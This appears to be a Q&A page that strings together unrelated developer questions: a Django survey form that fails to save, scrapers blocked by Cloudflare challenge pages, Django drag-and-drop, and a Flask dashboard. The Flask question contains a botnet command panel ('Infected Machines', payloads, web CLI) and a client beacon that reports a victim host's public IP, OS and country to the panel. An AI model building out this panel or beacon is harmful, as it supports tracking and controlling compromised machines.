I am trying to use django form to insert some information into the database, but the insert is now working properly.
This is for form page with some inputs that I am using.
<!DOCTYPE html> <html lang="en">
<head>
<!-- /Css -->
<link rel = "stylesheet" type = "text/css" href = "../static/survey.css" />
<!-- /Css -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Preencha a pesquisa de satisfação</title>
<style>
* {
box-sizing: border-box;
}
input[type=submit] {
background-color: #4CAF50;
color: white;
padding: 10px 10px;
border: none;
border-radius: 4px;
cursor: pointer;
float: right;
}
input[type=submit]:hover {
background-color: #45a049;
}
.col-25 {
float: left;
width: 50%;
margin-top: 6px;
}
.col-75 {
float: left;
width: 100%;
margin-top: 5px;
}
/* Clear floats after the columns */
.row:after {
content: "";
display: table;
clear: both;
}
</style>
<!-- /Fonts -->
<link href='https://fonts.googleapis.com/css?family=Comfortaa' rel='stylesheet'> <link href="https://fonts.googleapis.com/css?family=Poppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900" rel="stylesheet">
<!-- /Fonts -->
</head>
<body>
<h2>Pesquisa de satisfação</h2>
<p>Avalie a sua experiência em nosso restaurante e nos ajude a melhor o atendimento.</p>
<div class="container">
<h2>{{ note }}</h2>
<form class="formSurvey" action="{% url 'servicesurvey' %}" method="post">
{% csrf_token %}
{{ surveyform }}
<div class="row">
<input type="submit" value="Submit">
</div>
</form>
</div>
<div>
Voltar
</div>
</body> </html>
view.py with the function servicesurvey that calls the POST method and return the render.
from django.shortcuts import render
from .forms import SurveyForm
from .models import Survey
def home(request):
return render(request, 'survey/home.html')
def servicesurvey(request):
if request.method == 'POST':
filled_form = SurveyForm(request.POST)
if filled_form.is_valid():
note = 'Obrigado por responder nossa pesquisa'
new_form = SurveyForm()
return render(request, 'survey/servicesurvey.html', {'surveyform': new_form, 'note':note})
else:
form = SurveyForm()
return render(request, 'survey/servicesurvey.html', {'surveyform':form})
def qrcode(request):
return render(request, 'survey/qrcode.html')
models.py with the 2 inputs that I am trying to save at my database.
from django.db import models
class Survey(models.Model):
aboutTheService = models.CharField(max_length=100)
aboutTheFood = models.CharField(max_length=100)
Related
I am trying to get the html code of one marketplace, I am getting the correct code for one category but for another one I am getting wrong result.
For this one
k = requests.get('https://www.skroutz.gr/plus-deals').text
soup1=BeautifulSoup(k,'html.parser')
soup1
I am getting the correct html code and I can process the data but for the following link i am getting less html code and there is now info about the product inside.
k = requests.get('https://www.skroutz.gr/c/40/kinhta-thlefwna.html').text
soup=BeautifulSoup(k,'html.parser')
soup
Output
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
<head>
<title>Please Wait... | Cloudflare</title>
<meta charset="utf-8"/>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<meta content="IE=Edge" http-equiv="X-UA-Compatible"/>
<meta content="noindex, nofollow" name="robots"/>
<meta content="width=device-width,initial-scale=1" name="viewport"/>
<link href="/cdn-cgi/styles/cf.errors.css" id="cf_styles-css" rel="stylesheet"/>
<!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->
<style>body{margin:0;padding:0}</style>
<!--[if gte IE 10]><!-->
<script>
if (!navigator.cookieEnabled) {
window.addEventListener('DOMContentLoaded', function () {
var cookieEl = document.getElementById('cookie-alert');
cookieEl.style.display = 'block';
})
}
</script>
<!--<![endif]-->
<script>
//<![CDATA[
(function(){
window._cf_chl_opt={
cvId: "2",
cType: "managed",
cNounce: "84571",
cRay: "724b4343a9c4152e",
cHash: "fe638ea0b43499b",
cUPMDTk: "\/c\/40\/kinhta-thlefwna.html?__cf_chl_tk=SyBbHJlHzS.xDpnx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6Z3KyYGzGAu/zTXOfAYzLW3WlpO4dxW/Wc8c=",
hh: "SbqW99632Mb3TCb6zbuLigmv9PVrnmEea13QmnYx5Y4=",
}
};
}());
//]]>
</script>
<style>
#cf-wrapper #spinner {width:69px; margin: auto;}
#cf-wrapper #cf-please-wait{text-align:center}
.attribution {margin-top: 32px;}
.bubbles { background-color: #f58220; width:20px; height: 20px; margin:2px; border-radius:100%; display:inline-block; }
#cf-wrapper #challenge-form { padding-top:25px; padding-bottom:25px; }
#cf-hcaptcha-container { text-align:center;}
#cf-hcaptcha-container iframe { display: inline-block;}
#keyframes fader { 0% {opacity: 0.2;} 50% {opacity: 1.0;} 100% {opacity: 0.2;} }
#cf-wrapper #cf-bubbles { width:69px; }
#-webkit-keyframes fader { 0% {opacity: 0.2;} 50% {opacity: 1.0;} 100% {opacity: 0.2;} }
#cf-bubbles > .bubbles { animation: fader 1.6s infinite;}
#cf-bubbles > .bubbles:nth-child(2) { animation-delay: .2s;}
#cf-bubbles > .bubbles:nth-child(3) { animation-delay: .4s;}
</style>
</head>
<body>
<div id="cf-wrapper">
<div class="cf-alert cf-alert-error cf-cookie-error" data-translate="enable_cookies" id="cookie-alert">Please enable cookies.</div>
<div class="cf-error-details-wrapper" id="cf-error-details">
<div class="cf-wrapper cf-header cf-error-overview">
<h1 data-translate="managed_challenge_headline">Please wait...</h1>
<h2 class="cf-subheadline"><span data-translate="managed_checking_msg">We are checking your browser...</span> www.skroutz.gr</h2>
</div>
<div class="cf-section cf-highlight cf-captcha-container">
<div class="cf-wrapper">
<div class="cf-columns two">
<div class="cf-column">
<div class="cf-highlight-inverse cf-form-stacked">
<form action="/c/40/kinhta-thlefwna.html?__cf_chl_f_tk=SyBbHJlHzS.xDpnxJdXeTIBNmKGSVY9Caf6BU5YW6xE-1656805606-0-gaNycGzNBz0" class="challenge-form managed-form" enctype="application/x-www-form-urlencoded" id="challenge-form" method="POST">
<div id="cf-please-wait">
<div id="spinner">
<div id="cf-bubbles">
<div class="bubbles"></div>
<div class="bubbles"></div>
<div class="bubbles"></div>
</div>
</div>
<p data-translate="please_wait" id="cf-spinner-please-wait">Please stand by, while we are checking your browser...</p>
<p data-translate="redirecting" id="cf-spinner-redirecting" style="display:none">Redirecting...</p>
</div>
<input name="md" type="hidden" value="IwzwByLaPyYwh36ds_B76pH5fbjsm4NPLcrfOyVKp4k-1656805606-0-ATjH4PthZIQnlHja_TD2k3GIpJNvZi83t0ImbV0HYerX3pLXRLzqVYaRg_jJnr-ENIDFSkm2yG4ucsXrIj2kFquA7Ko4B40ctfjPfq93KAuO2HKoglP7QsaBaAwi3M-psOfnAbR48_o8kIFryXMdm6fJxGT8XpMh4LukCG0MavaJDWjYYiZcHHX82oSF7rx5_LnOgEkx0xkLtZZseZkhzqTfzzJ0S9wKzO9ZZdQMKxRxMIXWn36p3IezexUmZFlfbNtTFuETI0mWGSoTodXSiebeJasF-Ug2dnksRfhCQ1tsLun1XkVrbB5FauyBoa1Lh2-j6k3iW59xN6wsekKZcTrSaq03kn-bEod25lpVvQoe6u0wMmNYbBNWUtn4GER9CxWsDlUAXAwCp-BJAD-lHiJzAuBAmygbwFLRsoOcKOzUqtdQXNMX852hbTsSeTEw8a8bYxj-rHT4-d4zZDHGAw-dWKUAzVrtVSJLKlnRbknZ8BgT4FNnHF3Wwoo6JJxpoyYrrpMi4X27dgBkyymEQ0t1q7LXO_NSBxZIs33DM3hdiBMBHa69ZlFv92IKf-g6pnJnJj1QSlo5kVBTEd_wDswWTzLO6LmFz9VmMbGYTPPYbSFlP_b1VipLLI2DA4UVIOvb_7-alRtQjQQVZXFlkQYREd2J2EKtjzaOdMDKB6PgldFFeAOb97nCukF9UBBXHBAIATvR05AMvKt3LdBeL_3VDoyZe4Gnl8gbzlUTNP4OQ-o8ZEGcPC86WqWj5t2pSHw9XLxDFgR4IT7uYQOCY0cDmNe-BcbWz71ELBDGUXoyu7snXR_nMh6E3b87YNxVRSzeQ5JMrxajndJOfG_Oe0HSFF2SXFU_ahvhlY_G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vri46K6uxRDiXiVhAls7FnhjH1eFykshMQgDVZ04RopWa+sBGy/8FB2b7OI7kXgV0AaQTAkjiywNgKE93F7udAjXHjMYI4Z6MBwa2M8R3/CaC/6nfrCuI9JSopiPs7bXDjYXvVSwAUmaaWHHowg8F7xNbDWPRutBjaAauCqXLEMFYUs7NUyXwuvM+SqbV9T02Iukya848oEqMGX/pfrXcEP+BoXw/rL7PQ0J1NCB5leXQ4kJYmJpEvhsCi+3jklvpPgTxgmH66D5/dOF6EIUKlNO70Mk5Ft6aVEewLT/SWwXcyXjd5jXjLEyrG2PZN3oNFSMRFPLZqXDbwafxYjKHQoFHDKWSoESdTb6pO31v5kDzFdDF5wfy8Grr5tqYEiCQaiawPMEvbzZ/C0CbmZEvxxgii9UA/fNU6ZtvCXoljfao5b1tVh7ww0Bl3/KtCjj/zDcittuheaQaoBrAd1h0L1m1G/UmcXlRoJXthIRatelutU1voXttp097S8myV92G65vM+J5T+8q4yiFapkRYvwKRtp6spOaIqIEGh1VHGZAUZZFu2TtZRA1kVWFXof8d0krQvUly9QmxWAz4xHqIpedOtjc+0Sa+aX781jxvKzZ6YA9kWe78Z1VCUsv3h7vKUZ3uUD1mDt8xpZukiuCtU8fqH+8rPhEeKoAOTk03HrzvrjnUeplxjht6JOx0ZfkvFaUyjDjnL4Pr/R9uMe9V07Dl6aIj9HaQRtBfygajoSePZwAi7emffrLi8YPjvYctJCFyK/auNRJBIKj5nEeOUvKkKNmdA=="/>
<input name="vc" type="hidden" value="28e85100a980cbce13a010a21dbc0851"/>
<noscript class="cf-captcha-info" id="cf-captcha-bookmark">
<h1 data-translate="turn_on_js" style="color:#bd2426;">Please turn JavaScript on and reload the page.</h1>
</noscript>
<div class="cookie-warning" data-translate="turn_on_cookies" id="no-cookie-warning" style="display:none">
<p data-translate="turn_on_cookies" style="color:#bd2426;">Please enable Cookies and reload the page.</p>
</div>
<script>
//<![CDATA[
var a = function() {try{return !!window.addEventListener} catch(e) {return !1} },
b = function(b, c) {a() ? document.addEventListener("DOMContentLoaded", b, c) : document.attachEvent("onreadystatechange", b)};
b(function(){
var cookiesEnabled=(navigator.cookieEnabled)? true : false;
if(!cookiesEnabled){
var q = document.getElementById('no-cookie-warning');q.style.display = 'block';
}
});
//]]>
</script>
<div id="trk_captcha_js" style="background-image:url('/cdn-cgi/images/trace/captcha/nojs/h/transparent.gif?ray=724b4343a9c4152e')"></div>
</form>
<script>
//<![CDATA[
(function(){
var isIE = /(MSIE|Trident\/|Edge\/)/i.test(window.navigator.userAgent);
var trkjs = isIE ? new Image() : document.createElement('img');
trkjs.setAttribute("src", "/cdn-cgi/images/trace/managed/js/transparent.gif?ray=724b4343a9c4152e");
trkjs.id = "trk_managed_js";
trkjs.setAttribute("alt", "");
document.body.appendChild(trkjs);
var cpo=document.createElement('script');
cpo.type='text/javascript';
cpo.src="/cdn-cgi/challenge-platform/h/b/orchestrate/managed/v1?ray=724b4343a9c4152e";
window._cf_chl_opt.cOgUHash = location.hash === '' && location.href.indexOf('#') !== -1 ? '#' : location.hash;
window._cf_chl_opt.cOgUQuery = location.search === '' && location.href.slice(0, -window._cf_chl_opt.cOgUHash.length).indexOf('?') !== -1 ? '?' : location.search;
if (window._cf_chl_opt.cUPMDTk && window.history && window.history.replaceState) {
var ogU = location.pathname + window._cf_chl_opt.cOgUQuery + window._cf_chl_opt.cOgUHash;
history.replaceState(null, null, "\/c\/40\/kinhta-thlefwna.html?__cf_chl_rt_tk=SyBbHJlHzS.xDpnxJdXeTIBNmKGSVY9Caf6BU5YW6xE-1656805606-0-gaNycGzNBz0" + window._cf_chl_opt.cOgUHash);
cpo.onload = function() {
history.replaceState(null, null, ogU);
};
}
document.getElementsByTagName('head')[0].appendChild(cpo);
}());
//]]>
</script>
</div>
</div>
<div class="cf-column">
<div class="cf-screenshot-container">
<span class="cf-no-screenshot"></span>
</div>
</div>
</div>
</div>
</div>
<div class="cf-section cf-wrapper">
<div class="cf-columns two">
<div class="cf-column">
<h2 data-translate="why_captcha_headline">Why do I have to complete a CAPTCHA?</h2>
<p data-translate="why_captcha_detail">Completing the CAPTCHA proves you are a human and gives you temporary access to the web property.</p>
</div>
<div class="cf-column">
<h2 data-translate="resolve_captcha_headline">What can I do to prevent this in the future?</h2>
<p data-translate="resolve_captcha_antivirus">If you are on a personal connection, like at home, you can run an anti-virus scan on your device to make sure it is not infected with malware.</p>
<p data-translate="resolve_captcha_network">If you are at an office or shared network, you can ask the network administrator to run a scan across the network looking for misconfigured or infected devices.</p>
</div>
</div>
</div>
<div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300">
<p class="text-13">
<span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">724b4343a9c4152e</strong></span>
<span class="cf-footer-separator sm:hidden">•</span>
<span class="cf-footer-item hidden sm:block sm:mb-1" id="cf-footer-item-ip">
Your IP:
<button class="cf-footer-ip-reveal-btn" id="cf-footer-ip-reveal" type="button">Click to reveal</button>
<span class="hidden" id="cf-footer-ip">213.7.17.251</span>
<span class="cf-footer-separator sm:hidden">•</span>
</span>
<span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> Cloudflare</span>
</p>
<script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();</script>
</div><!-- /.error-footer -->
</div>
</div>
<script>
window._cf_translation = {};
</script>
</body>
</html>
The website is loading data with an API. Here is the link: https://www.skroutz.gr/c/40/kinhta-thlefwna.json?page=1
I'm creating something where my flask backend will get the last added record from mysql, then the frontend will duplicate a div with that new information and display it to the user. It all works fine and as expected, but I don't get how to make it so that the previously duplicated divs contents won't have their values changed when a new record is added.
import copy
import pymysql
from flask import Flask, render_template, request, redirect, url_for, session, jsonify
conn = pymysql.connect(
host = 'localhost',
user = 'root',
password = '',
db = 'panel',
)
cur = conn.cursor()
app = Flask(__name__, template_folder = "templates")
rundupe = 1 # Debug
runpage = True # Debug
#app.route("/")
def index():
return render_template("index.html")
#app.route("/infected", methods=['GET', 'POST'])
def infected():
global rundupe
global runpage
if runpage:
#runpage = False
cur.execute("SELECT id FROM botinfo ORDER BY id DESC LIMIT 1")
res0 = cur.fetchone()[0]
print(res0)
cur.execute("SELECT ip FROM botinfo WHERE id = %s", (res0))
res1 = cur.fetchone()[0]
cur.execute("SELECT os FROM botinfo WHERE id = %s", (res0))
res2 = cur.fetchone()[0]
cur.execute("SELECT country FROM botinfo WHERE id = %s", (res0))
res3 = cur.fetchone()[0]
cur.execute("SELECT date FROM botinfo WHERE id = %s", (res0))
res4 = cur.fetchone()[0]
if res1 and res2 and res3 and res4:
return render_template("infected.html", newip = res1, newos = res2, country = res3, date = res4, id = res0, rundupe = rundupe)
return render_template("infected.html")
#app.route("/payloads")
def payloads():
return render_template("payloads.html")
#app.route("/db")
def database():
return render_template("database.html")
#app.route("/analytics")
def analytics():
return render_template("analytics.html")
#app.route("/cli")
def cli():
return render_template("cli.html")
#app.route("/security")
def security():
return render_template("security.html")
#app.route("/settings")
def settings():
return render_template("settings.html")
#app.route("/accepter", methods=["GET", "POST"])
def accept():
if request.method == "GET":
global rundupe
global runpage
ip = request.args.get("ip")
os = request.args.get("os")
country = request.args.get("country")
date = request.args.get("date")
if ip and os and country and date:
runpage = True
sql = "INSERT INTO botinfo (ip, os, country, date) VALUES (%s, %s, %s, %s)"
cur.execute(sql, (ip, os, country, date))
conn.commit()
rundupe += 1
return render_template("api.html")
app.run("127.0.0.1", 5000, debug = True)
Flask backend, first it gets some information in the accepter route from url parameters and then it saves that information into mysql and sends it to the user in the infected route.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="{{ url_for('static', filename='css/styles.css') }}">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css">
<link href="https://fonts.googleapis.com/css2?family=Chakra+Petch:wght#500&display=swap" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.6.0.js" integrity="sha256-H+K7U5CnXl1h5ywQfKtSj8PCmoN9aaq30gDh27Xc0jk=" crossorigin="anonymous"></script>
<title>Home</title>
</head>
<body onload="duplicate();" style="background-color: rgb(15, 15, 34);">
<div class="wrapper">
<div class="section">
<div class="top_navbar">
<div class="hamburger">
<a href="#">
<i class="fas fa-bars"></i>
</a>
</div>
</div>
</div>
<div class="sidebar">
<div class="profile">
<span class="icon"><i style="color: white;" class="fas fa-user-tie fa-3x"></i></span>
<h3>Visually</h3>
<p>System Admin</p>
</div>
<ul>
<li>
<a href="/">
<span class="icon"><i class="fas fa-home"></i></span>
<span class="item">Home</span>
</a>
</li>
<li>
<a href="/infected" class="active">
<span class="icon"><i class="fas fa-desktop"></i></span>
<span class="item">Infected</span>
</a>
</li>
<li>
<a href="/payloads">
<span class="icon"><i class="fas fa-scroll"></i></span>
<span class="item">Payloads</span>
</a>
</li>
<li>
<a href="/db">
<span class="icon"><i class="fas fa-database"></i></span>
<span class="item">Database</span>
</a>
</li>
<li>
<a href="/analytics">
<span class="icon"><i class="fas fa-chart-line"></i></span>
<span class="item">Analytics</span>
</a>
</li>
<li>
<a href="/cli">
<span class="icon"><i class="fas fa-terminal"></i></span>
<span class="item">Web CLI</span>
</a>
</li>
<li>
<a href="/security">
<span class="icon"><i class="fas fa-user-shield"></i></span>
<span class="item">Security</span>
</a>
</li>
<li>
<a href="/settings">
<span class="icon"><i class="fas fa-cog"></i></span>
<span class="item">Settings</span>
</a>
</li>
</ul>
</div>
</div>
<h1 style="text-align: center; color: white; margin-top: 2%; font-size: 50px;">Infected Machines</h1>
<div class="statsBox" style="margin-left: 415px; margin-top: 90px; width: 800px; height: 400px; overflow-y: auto;" id="machines">
<p style="text-align: center; font-size: 20px">Machines</p>
<div class="infectedBox" id="infectedBox" style="width: 793px; height: 90px; margin-top: 15px; cursor: pointer; background-color: rgb(2, 2, 31); display: none;">
<script type="text/javascript">
let i = 0;
let id = 0;
let num = 0;
const og = document.getElementById('infectedBox');
function duplicate() {
if('{{ rundupe }}') {
for(let i = 0; i < '{{ rundupe }}'; ++i) {
let clone = og.cloneNode(true);
clone.style.display = 'block';
clone.id = "duplicater" + ++i;
og.parentNode.appendChild(clone);
++num;
++id;
const number = document.querySelector(`#duplicater${i} #number`).textContent = `#${num}`;
const mainInfo = document.querySelector(`#duplicater${i} #mainInfo`).textContent = `Country: {{ country }}, OS: {{ newos }}, Date Captured: {{ date }}`;
const botInfo = document.querySelector(`#duplicater${i} #botInfo`).textContent = `Bot: {{ newip }}`;
console.log(number, mainInfo, botInfo);
}
}
}
</script>
<span class="icon"><i style="margin-left: 10px; margin-top: 12px;" class="fas fa-user fa-4x"></i></span>
<p id="botInfo" style="color: white; margin-top: -70px; margin-left: 100px; font-size: 20px;"></p>
<p id="mainInfo" style="color: white; margin-top: 12px; margin-left: 100px;"></p>
<p id="number" style="color: white; margin-top: -60px; margin-left: 700px; font-size: 60px;">#<script type="text/javascript">document.write(num);</script></p>
</div>
</div>
<script type="text/javascript">
let hamburger = document.querySelector(".hamburger");
hamburger.addEventListener("click", () => {
document.querySelector("body").classList.toggle("active");
})
</script>
</body>
</html>
html page to display the info.
from urllib.request import urlopen
from datetime import date
import urllib.request
import requests
import platform
import json
import sys
import re
today = date.today()
d1 = today.strftime("%m/%d/%Y")
url = 'http://ipinfo.io/json'
response = urlopen(url)
data = json.load(response)
country = data['country']
print(country)
pubip = urllib.request.urlopen('https://ident.me').read().decode('utf8')
print(pubip)
os = platform.system()
print(os)
requests.get(f"http://127.0.0.1:5000/accepter?ip={pubip}&os={os}&country={country}&date={d1}")
Script that makes GET request to server.
I don't understand how to get the div to duplicate in such a way that the value of the old one isn't altered, and only the new one uses the value of what my flask route is returning.
I'm looking to use a drag-n-drop feature for updating a table in my Django model.
I need to be able to drag items (a list of model objects) between 3 baskets and update the item's basket type in the model. My model contains food items and the status of these items. So the food.names will be the items dragged and 3 baskets are the food.status: 'don't have', 'have', 'need to buy'. Just like this example: https://www.javascripttutorial.net/sample/webapis/drag-n-drop-basics/.
<!DOCTYPE html>
<html lang="en">
<head>
<style>
#div1, #div2, #div3 {
float: left;
width: 100px;
height: 35px;
margin: 10px;
padding: 10px;
border: 1px solid black;
}
</style>
<script>
function allowDrop(ev) {
ev.preventDefault();
}
function drag(ev) {
ev.dataTransfer.setData("text", ev.target.id);
}
function drop(ev) {
ev.preventDefault();
var data = ev.dataTransfer.getData("text");
ev.target.appendChild(document.getElementById(data));
}
</script>
</head>
<body>
<h2>Drag and Drop</h2>
<p>Drag the items back and forth between the three div elements.</p>
{% for row in all_food %}
<div id="div1" ondrop="drop(event)" ondragover="allowDrop(event)">
{% if row.status_type == 'have'%}
<ul>
<li>{{row}}
</ul>
{% endif %}
</div>
<div id="div2" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
<div id="div3" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
{% endfor %}
</body>
</html>
The code above comes out as 33 boxes with the items in the for loop scattered among the boxes.
I mainly use Python and don't have much experience working with front end code. What can I try next?
I just wrote some code to pull the Investing.com for my trading bot project html with requests library of python but the only html I can pull is about 'checking browser' here is some data
Data requests pulled:
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />
<meta name="robots" content="noindex, nofollow" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>Just a moment...</title>
<style type="text/css">
html, body {width: 100%; height: 100%; margin: 0; padding: 0;}
body {background-color: #ffffff; color: #000000; font-family:-apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, "Helvetica Neue",Arial, sans-serif; font-size: 16px; line-height: 1.7em;-webkit-font-smoothing: antialiased;}
h1 { text-align: center; font-weight:700; margin: 16px 0; font-size: 32px; color:#000000; line-height: 1.25;}
p {font-size: 20px; font-weight: 400; margin: 8px 0;}
p, .attribution, {text-align: center;}
#spinner {margin: 0 auto 30px auto; display: block;}
.attribution {margin-top: 32px;}
#keyframes fader { 0% {opacity: 0.2;} 50% {opacity: 1.0;} 100% {opacity: 0.2;} }
#-webkit-keyframes fader { 0% {opacity: 0.2;} 50% {opacity: 1.0;} 100% {opacity: 0.2;} }
#cf-bubbles > .bubbles { animation: fader 1.6s infinite;}
#cf-bubbles > .bubbles:nth-child(2) { animation-delay: .2s;}
#cf-bubbles > .bubbles:nth-child(3) { animation-delay: .4s;}
.bubbles { background-color: #f58220; width:20px; height: 20px; margin:2px; border-radius:100%; display:inline-block; }
a { color: #2c7cb0; text-decoration: none; -moz-transition: color 0.15s ease; -o-transition: color 0.15s ease; -webkit-transition: color 0.15s ease; transition: color 0.15s ease; }
a:hover{color: #f4a15d}
.attribution{font-size: 16px; line-height: 1.5;}
.ray_id{display: block; margin-top: 8px;}
#cf-wrapper #challenge-form { padding-top:25px; padding-bottom:25px; }
#cf-hcaptcha-container { text-align:center;}
#cf-hcaptcha-container iframe { display: inline-block;}
</style>
<meta http-equiv="refresh" content="35">
<script type="text/javascript">
//<![CDATA[
(function(){
window._cf_chl_opt={
cvId: "2",
cType: "non-interactive",
cNounce: "76414",
cRay: "6b1482833fd66244",
cHash: "eb90d788b40007d",
cPMDTk: "",
cFPWv: "b",
cTTimeMs: "1000",
cRq: {
ru: "aHR0cHM6Ly90ci5pbnZlc3RpbmcuY29tL2NyeXB0by9iaXRjb2luL2J0Yy10cnk/Y2lkPTEwMzEzODI=",
ra: "cHl0aG9uLXJlcXVlc3RzLzIuMjUuMQ==",
rm: "R0VU",
d: "a0DZUGkM6M3EHwuCQBn8MaFzRdaBiZLAjRjen+qhUv69cfEs3ya8yAfsstBQoxD6cdxDhSWaNNTDnFl2el9RQae+NbDXGVtUjODtAqO+A7SanMpxmFczY5Q2BP/q32fXt0ZsjUn5nBvXv6SmUdg9RpcYKILhzBZllUKTMR5wWQPxfzfAFz882qO/Gi6LDE/foncRE0iKLJaAs4/uTKcY3XFzcfZ+1w3o0Nliz5UGBqavIn0UPRAzwSqN5ZXlOvSI/ljL1qj3jl4Syy+h/nyVcp+a5vZSaqvGHYyp59PCLSY7jVPpXk7qqzc1708r3vWSRz+UN/0cqAbwO2oblQ3SOJV54dY/2AvuKBbaRRMAogxBQAgtjyCnhTLSLj3D4bfTVVrjRlF+vRgFFaFppX4b6oebqnzTCTDUVsFxrxp8yCFtab6F5sD1s2nPQpg9/Vk6jfJnbrLhfsibYjoJ74i1wS/leAEOr+BSk94E+gFchy93u62fO4GiFkYAXTerYAwIbXlpA4LrIS3EWkEj4GttD3JNUO8oC9dRsONC5zKUJ9U+LQFO/495QdMzc2o5fV5y",
t: "MTYzNzQ0MDk5OC45MjcwMDA=",
m: "P4HQU/6WBisbc+R6aRw0sYizTvbUME/3XuegInf566I=",
i1: "InCC6JdcVDWY2ZvTZ8VSJw==",
i2: "txEI7ubOoDTAtluPaIDvFQ==",
zh: "JJQg2KI/+bPgJbLHlLjmrs/mnno8aAGH5k3tm8QDk4c=",
uh: "5GU+jYv2xJ+bCaE/ARmi/DORbiS/v56CW7E0TH4XWQk=",
hh: "YmlEyuLTY297Bf4fWYKqj1eFG+SXP0t8yKaFmf8oRu0=",
}
}
window._cf_chl_enter = function(){window._cf_chl_opt.p=1};
})();
//]]>
</script>
</head>
<body>
<table width="100%" height="100%" cellpadding="20">
<tr>
<td align="center" valign="middle">
<div class="cf-browser-verification cf-im-under-attack">
<noscript>
<h1 data-translate="turn_on_js" style="color:#bd2426;">Please turn JavaScript on and reload the page.</h1>
</noscript>
<div id="cf-content" style="display:none">
<div id="cf-bubbles">
<div class="bubbles"></div>
<div class="bubbles"></div>
<div class="bubbles"></div>
</div>
<h1><span data-translate="checking_browser">Checking your browser before accessing</span> tr.investing.com.</h1>
<div id="no-cookie-warning" class="cookie-warning" data-translate="turn_on_cookies" style="display:none">
<p data-translate="turn_on_cookies" style="color:#bd2426;">Please enable Cookies and reload the page.</p>
</div>
<p data-translate="process_is_automatic">This process is automatic. Your browser will redirect to your requested content shortly.</p>
<p data-translate="allow_5_secs" id="cf-spinner-allow-5-secs" >Please allow up to 5 seconds…</p>
<p data-translate="redirecting" id="cf-spinner-redirecting" style="display:none">Redirecting…</p>
</div>
<form class="challenge-form" id="challenge-form" action="/crypto/bitcoin/btc-try?cid=1031382&__cf_chl_jschl_tk__=CDZzIbYLGXykSLkVwh2MqkPNxG_RPjcd8xFfkZ0fgP4-1637440998-0-gaNycGzNBz0" method="POST" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="md" value="Wqq9NpYqtJShazwbZwz5SAqIRQsLKWUULt83_J1PWQ4-1637440998-0-AeHZYymAro52c5y0Zj4jafFO06_M0S7dAuXzwMd6L3UHN6CIx3Plh58eBAf5MM22l9hkKXL4dCz8A9lid8-gAXrlx3RNEJk_eAgJaK0U2OXiDQcOmE7Zh9IPDxxQCaTrjaXYC9cufjr4B2vv40GVEkMil2mgBTha97BD82aaoxD1FTLrJLCsQ4YIc9ZdZmouwloPPMYy2EFm7GbozVorA9wToFgFO5z1-11MsD0_uS4_1DnbpJI9YWWzFHJAk6V7gr7hZE_L-ngm-kdkgy2pSsvIXSt-fF-PR0mAWPsuyD79rdv-FI38snagG-lRkVPR8iCsEEctPcdW_GU6vAJ5cYCMGMLMUVVYkthENVScCRCNEp4aWy0t0rEyAf9KSBbg-9J7wwjQlmaQII06wQwQmZJCvjL5_pvMoclTiSLNTFhU8CQCVy-ay51BaDs_FNJmvAYyOQPL2aph0sm2d11guSDs7RJs4CapH9rzIEbLwVw2S6NHrFX1wSrBHHNFdQBpuE_J6tQuHbNU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XsaSFUrFgK9g/0D/oOkw+bgT1g+k8quSuW53xvWoiOPMGbr1T1Ww+A+ey4mxhSV1QaROYnBStr4j38ivJ6/3QaxWHqBB3YUbyM0wTzfKBmzAhqsypNXx/0QTo2Ezvice037fJZOQ2EQv2mObIEaEL2NeTF5Lv9v6fzA+XUym6alGCxJ385TH4/AkptmJDmuttobnUGRKPbLPrb4m71H+xKTMoydJCGPmWXqL/W3HBuKdRiYhLy+twusUE74Lm4y26MYRR8WyBNNzQCIv+KB0ahdUbJIneoBMIb4RvNKJUzJXQklI+3DeasPhKJQ/Eqlrk/cIHPOnLpWYjv5XtvVGGz/aoMALs22Ap9TS5ewgn99lHR5smv8dEzPIkqAUnP68+b3AjSuS+OE64BbXVPuPwHpgeyBlnVMDENbI48j+AuAMaIIljHlZ8u8jTmnE5cUBHhDZAM7qSn3c25WgulYHJSphQ8hgywWaW0Q4s3MyVupuFR1djgijZYmg76lbEUkCsTDrpLOnYMlXJdIzdfUdsRxqIdNziAHZvVqMIb89VJpr62HB7N463VdXPYPz8tiiStQ1o3fbaZs48tZr62ucBE/t+ypGwCeXL3AOz7HYcHecNsDTSLFpIETh5iebpt9Ny7aQT3+kPeI0u1CnVJ2KO1sY0Bx7oMwopdwLVGnvohwtVlUx7YZLprHs9v7tWM